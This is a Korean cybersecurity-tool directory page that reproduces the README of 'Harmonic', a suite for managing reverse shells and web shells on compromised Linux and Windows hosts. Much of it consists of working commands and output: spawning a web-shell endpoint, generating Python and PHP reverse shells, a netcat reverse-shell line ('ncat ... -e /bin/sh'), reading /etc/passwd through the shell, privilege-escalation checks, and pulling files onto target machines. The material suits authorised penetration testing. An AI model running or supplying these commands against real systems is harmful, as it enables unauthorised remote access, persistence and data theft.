Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Harmonic — 네이티브 셸 내에서 작동하도록 설계된 리버스 셸 처리용 스위트 | Kitploit
도구/GitLabGitLab/runik/harmonic
Privilege EscalationScripting & AutomationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingCommand and ControlRemote Access ToolShellcode GenerationPayload Development
GitLab
8년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
runik/harmonic

Harmonic

네이티브 셸 내에서 작동하도록 설계된 리버스 셸 처리용 스위트

저장소 보기

Harmonic Suite

리눅스에서 리버스 셸을 관리하고 인터페이싱하기 위한 툴셋의 시작 (코드는 아직 빠르고 지저분한 상태이며 예외 처리가 거의 없습니다). UNIX 철학에 강하게 영감을 받아, 기본 아이디어는 임의의 엔드포인트를 처리하는 데몬(connd, 아직 완전한 데몬은 아니지만 별도의 터미널에서 실행 가능)을 두고 해당 엔드포인트에 대해 도구를 실행하는 것입니다.

엔드포인트는 스크립트나 프로세스에 의해 '구동(driven)'되며 파일 시스템에 파일로 노출되고, 그런 다음 얇은 소프트웨어 클라이언트를 사용하여 상호 작용할 수 있지만, 셸 명령어를 사용하여 쓰고 읽는 것도 쉽게 가능합니다. 사실, 셸에서 독립적으로 스크립트를 실행할 수 있는 것이 핵심 설계 요소이며, 이상적으로는 스크립트가 엔드포인트가 존재하는 것에만 의존하지만 함께 조합하여 사용할 수도 있습니다 (서로 연쇄적으로 연결).

현재 엔드포인트 옵션은 다음과 같습니다:

  • nc - 특정 포트에 netcat 엔드포인트 생성
  • wsh - 기본 웹 셸 스크립트와 상호 작용하는 컨텍스트 셸
  • with - 임의의 프로세스를 엔드포인트로 실행

얇은 소프트웨어 클라이언트(hthinc.py)는 시스템의 엔드포인트에 대한 기본 인터페이스를 제공하며, 시스템에 대해 스크립트를 빠르게 실행할 수 있습니다. 몇 가지 기본적이지만 유용한 스크립트가 작성되었습니다:

  • sp - 원격 리눅스 시스템에 대해 열거를 실행하고, 스크립팅 언어를 결정하며(현재는 Python만), 새 엔드포인트를 시작하고 현재 엔드포인트를 통해 새 엔드포인트에 연결하는 대화형 셸을 생성합니다. 드라이버가 지정되면 열거를 건너뛰고 드라이버를 사용하려고 시도합니다.
  • lpc - 엔드포인트를 통해 Linux Priv Escalation Checker 스크립트를 실행합니다.
  • log - 명령어의 출력을 현재 작업 디렉터리에 기록합니다.
  • mac - 엔드포인트에 대해 사전 정의된 매크로를 실행합니다 ($HCROOT/.hcrc 매크로 섹션에 정의됨).
  • pull - wget용 매크로 스크립트로, 포털 디스패치(리눅스)에서 파일을 다운로드합니다.
  • fpull - fetch용 매크로 스크립트로, 포털 디스패치(*BSD)에서 파일을 다운로드합니다.
  • wpinit - Windows 스크립팅 엔진(현재는 VB만)을 열거하고 wpull과 함께 사용할 파일 포털 스크립트를 생성합니다.
  • vbpull - portal.vbs(wpinit 참조) 매크로 스크립트로, 포털 디스패치(Windows)에서 파일을 가져옵니다.
  • pspull - PowerShell을 사용하여 포털 디스패치(Windows)에서 파일을 가져오는 매크로 스크립트입니다.

리버스 셸 드라이버 유형(즉, 원격 시스템에서 셸을 구동하는 것)은 다음과 같습니다(현재 리눅스 지원):

  • php
  • perl
  • fifo
  • python27
  • python3x

기타 스크립트:

  • hgenrsh.py - 실행 중인 프로세스에서 포크할 수 있는 리버스 셸 Python 명령어(압축 및 base64 인코딩)를 생성합니다.
  • hcmd.py - 로컬 환경에서 명령어를 실행합니다.
  • hscr.py - 후크 가능한 스크립트를 실행합니다.
  • hdis.py - 연결을 수신하고 stdin에서 클라이언트로 임의의 데이터를 전송합니다.
  • sys/bin/hpd.py - HTTP 프로토콜을 사용하여 파일을 가져오기 위한 포털 디스패치 서버입니다.

사용 예제

  • 예제에서는 $HCROOT가 이 저장소의 디렉터리를 가리킵니다(아래 구성 참조).
  • connd는 데몬 또는 일반 프로세스로 실행 중입니다.
    • $HCROOT/sys/bin/connd에서 실행할 수 있습니다(먼저 빌드해야 함).

connd에 엔드포인트를 시작하도록 지시하고, wedge 셸 드라이버를 사용하여 시스템 호출을 수행하고 포맷된 응답을 반환하는 제공된 PHP 스크립트와 함께 사용합니다. 하지만 이 한 줄짜리 스크립트는 서버 로그에 코드 주입된 것처럼 쉽게 사용될 수도 있습니다.

root@kitploit:~
$ hconnd.py start wsh http://example.com/hwsh.php
1

이로 인해 엔드포인트 1이 생성되었습니다(두 개의 I/O 파이프 — 실행 하위 디렉터리에서 t1i 및 t1o로 볼 수 있습니다). 이제 hthinc.py를 사용하여 셸과 상호 작용합니다.

root@kitploit:~
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0

이것이 리눅스 박스임을 알 수 있습니다. wedge된 웹 셸에서 벗어나 적절한 셸을 얻고 싶습니다. 내장 명령어 !help를 실행하면 thinc 도움말 메시지가 표시됩니다. sp 스크립트를 실행할 수 있으며, 이 스크립트는 원격 시스템에 대해 명령어를 자동으로 실행하고, 환경을 열거하고, nc 엔드포인트를 시작하고, 리버스 셸을 생성하고, 새 hthinc.py를 통해 자동으로 드롭인합니다.

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

또는 (예를 들어) PHP를 드라이버로 사용한다는 것을 알고 있다면 다음과 같이 지정할 수 있습니다:

root@kitploit:~
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

그리고 TTY가 없는 셸이 있거나 이탈하고 싶다면 기본 매크로 중 하나를 실행할 수 있습니다:

root@kitploit:~
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$

또한 명령어의 출력을 기록하려면 log 스크립트를 사용할 수 있으며, 현재 작업 디렉터리에 저장됩니다:

root@kitploit:~
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh

[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0

엔드포인트가 실행 중인 동안에는 연결 프로세스가 데몬에 의해 관리되므로 클라이언트를 연결/분리할 수 있습니다.

빠르게 반복

모든 것을 더 유닉스 방식으로 실행할 수 있기 때문에 셸에서 빠르게 프로세스를 반복할 수 있습니다. 웹 셸 엔드포인트를 시작하고, 엔드포인트 ID를 얻은 다음, 셸에서 엔드포인트에 대해 sp.py 생성기 스크립트를 실행합니다(hthinc.py에서 사용되는 동일한 스크립트이지만 다른 진입점을 사용합니다).

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

또는 원 라이너로:

$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455

그리고 쉽게 자동화할 수 있습니다:

root@kitploit:~
$ cat reverse.sh 
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
root@kitploit:~
$ ./reverse.sh 
<harmonic> basic shell spawner
[+] Running enumeration...
...
$

로컬 환경에서 명령어 실행

hcmd.py 도구를 사용하면 셸에서 엔드포인트를 통해 명령어를 빠르게 실행할 수 있습니다.

root@kitploit:~
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux

그리고 평소처럼 결과를 파이프하거나 리디렉션할 수 있습니다.

root@kitploit:~
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500

엔드포인트 추적

hconn.py에 list 동사를 사용하여 현재 엔드포인트 목록과 관련된 연결 상태를 볼 수 있습니다.

root@kitploit:~
$ hconn.py list
1 [26616]:	/home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php	
2 [26622]:	nc -lp 4455 	Established -> 10.15.10.4
3 [26659]:	nc -nlvp 4495	Listening

파일로 엔드포인트 작업

wedge 셸 엔드포인트 설정:

root@kitploit:~
$ hconn.py start wsh http://example.com/hwsh.php
1

이제 포트 4444에서 netcat 리스너를 설정할 수 있습니다:

root@kitploit:~
$ hconn.py start nc 4444
2

그런 다음 입력 파일을 통해 wedge 셸 엔드포인트(eid 1)에 씁니다:

root@kitploit:~
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i

이것은 netcat 리스너로 셸을 다시 보내야 합니다. thin 클라이언트를 netcat 엔드포인트(eid 2)에 연결하면 또 다른 셸이 대기 중인 것을 볼 수 있습니다:

root@kitploit:~
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

스크립트 실행

셸 인터페이스를 파일로 일반화하면 웹 셸 엔드포인트에 사용된 스크립트가 netcat 리버스 셸 엔드포인트에서도 작동합니다. 절대 경로($HCROOT/share/script/*.py)를 사용하거나 도우미 스크립트 hscr.py를 사용하여 스크립트를 호출할 수 있습니다.

netcat 엔드포인트에 대해 sp.py를 실행하고 또 다른 리버스 셸을 생성할 수 있습니다:

root@kitploit:~
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+]   Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$

그리고 절대 경로를 사용한 동등한 명령은 $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1입니다.

또는 웹 셸에 대해 Linux Priv Escalation Checker를 실행할 수 있습니다:

root@kitploit:~
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished

그리고 hthinc.py 인스턴스 내에서 호출할 수 있습니다:

!run lpc

환경 변수

환경 변수를 사용하여 전역 값을 정의할 수 있습니다. 변수에는 세 가지 수준이 있으며, 각각 다음보다 우선순위가 낮습니다:

  • 리소스
  • 환경/셸
  • 인라인

리소스 파일 변수는 $HCROOT/.hcrc에 정의됩니다. 이것들은 가장 낮은 우선순위이지만 시스템 전체 환경 변수를 오염시키지 않도록 사용할 수 있습니다.

환경/셸 변수는 셸에 의해 프로세스로 가져오며 HCV_ 접두사가 붙습니다. 이것들은 리소스 변수와 병합되며 이미 존재하는 값을 덮어씁니다.

인라인 변수는 이전에 정의된 모든 것을 덮어씁니다.

예제

이 예제에서는 LHOST=127.0.0.1이 .hcrc에서 리소스 변수로 정의되어 있고 스크립트 사용법은 ./script LPORT [LHOST]입니다.

다음 스크립트는 LHOST=127.0.0.1 및 LPORT=4455를 갖게 됩니다(리소스 변수).

root@kitploit:~
$ ./script 4455

다음 스크립트는 LHOST=192.168.1.101 및 LPORT=4455를 갖게 됩니다(셸 변수).

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455

다음 스크립트는 LHOST=10.10.10.125를 갖게 됩니다(인라인 변수).

root@kitploit:~
$ HCV_LHOST=192.168.1.101 ./script 4455 10.10.10.125

동일한 원칙이 hthinc.py의 !run SCR에도 적용될 수 있습니다(환경/셸 변수는 ./hthinc.py에 전달된 변수임을 기억하세요).

포털

포털 서버는 기본 HTTP 서버로, 스크립트를 사용하여 원격 시스템으로 파일을 가져올 수 있습니다. 이러한 스크립트는 명령어 주변의 매크로 역할을 하여 플랫폼 간에 더 균일한 상호 작용을 만듭니다. 서버는 $HCROOT/share/disp/에서 상대적으로 파일을 처리합니다.

사용 예제

hpd.py가 포트 80에서 실행 중입니다. DHOST와 DPORT는 .hcrc에 각각 127.0.0.1과 80으로 정의되어 있습니다(디스패치 서버를 가리킵니다). 이는 스크립트를 호출할 때 이러한 변수를 입력할 필요가 없지만, 이 값들이 달라야 하는 경우 FILE= 변수처럼 인라인 변수로 포함시키면 됩니다.

hthinc.py에서 스크립트를 호출하고 있지만, 명령줄에 엔드포인트 ID를 전달하여 일반 셸에서도 이러한 스크립트를 실행할 수 있습니다. DHOST와 DPORT가 이미 정의되어 있다면 명령줄에 포함할 필요가 없습니다.

여기서는 PowerShell을 사용하여 pspull을 통해 파일을 가져옵니다:

root@kitploit:~
c:\Users\user\Desktop>!run pspull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

여기서는 PowerShell이 없으므로 포털 스크립트를 초기화한 다음 파일을 가져와야 합니다:

root@kitploit:~
c:\Users\user\Desktop>!run wpinit
<harmonic> Win Portal Initialiser
[+] Running enumeration...
[+]   Checking VB engine... OK
[+] Using engine: VB
[+] Loading non-interactive script generator for 127.0.0.1... OK
[+] Running generator... OK
[+] Portal should be ready
c:\Users\user\Desktop>!run vbpull FILE=txt/test.txt
[+] Portal --> () --> test.txt
[+] Pull successful

pull 스크립트는 Linux용으로 사용됩니다:

root@kitploit:~
$ !run pull FILE=txt/test.txt
[+] 127.0.0.1 --> () --> test.txt
[+] Pull successful

인라인 변수를 명확히 하자면:

root@kitploit:~
$ !run pull FILE=txt/test.txt DHOST=192.168.1.1
[+] 192.168.1.1 --> () --> test.txt
[+] Pull successful

매크로

매크로는 $HCROOT/.hcrc 매크로에 정의되며 mac 스크립트에 의해 호출됩니다. 이 기본 형태에서는 셸의 별칭과 비슷하며, 엔드포인트를 통해 원격 셸로 명령어를 보내는 효과적인 간단한 단방향 스크립트입니다. 정기적으로 사용되지만 번거로운 명령어 시퀀스를 매크로에 바인딩하는 것이 더 쉽습니다.

hthinc.py에서 mac 스크립트를 호출하면 레이블이 없는 변수(이름 없는 변수)를 사용합니다. 이를 통해 매크로를 스크립트에 대한 명령줄 매개변수처럼 호출할 수 있습니다.

다시 말하지만, 동일한 mac.py 스크립트를 사용하여 일반 셸에서도 매크로를 호출할 수 있습니다.

예제

이 예제는 불안정한 셸에서 pty 매크로를 호출합니다. 매크로는 python -c 'import pty; pty.spawn("/bin/bash")'의 별칭입니다:

root@kitploit:~
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
no tty
!run mac pty
[email protected]:/var/www/html/$ 

명령줄에서 (예: 엔드포인트 5에 대해) 실행하는 것과 동등한 것은 hscr.py 5 mac pty입니다. 다음에 엔드포인트에 클라이언트를 연결할 때 tty로 실행 중일 것입니다.

!run mac --list를 입력하면 매크로 목록이 표시됩니다.

구성

  • 툴셋은 harmonic의 루트 디렉터리를 가리키는 환경 변수 HCROOT가 필요합니다.
  • $HCROOT를 $PATH에 추가하면 모든 디렉터리에서 메인 스크립트를 사용할 수 있습니다.

connd 빌드의 경우:

  • $HCROOT/sys를 $GOPATH에 추가합니다.
  • $HCROOT/sys/bin에서: go build connd

의존성

  • Python 3.5
  • Go (내 시스템은 1.7.5)
  • Linux
도구 다운로드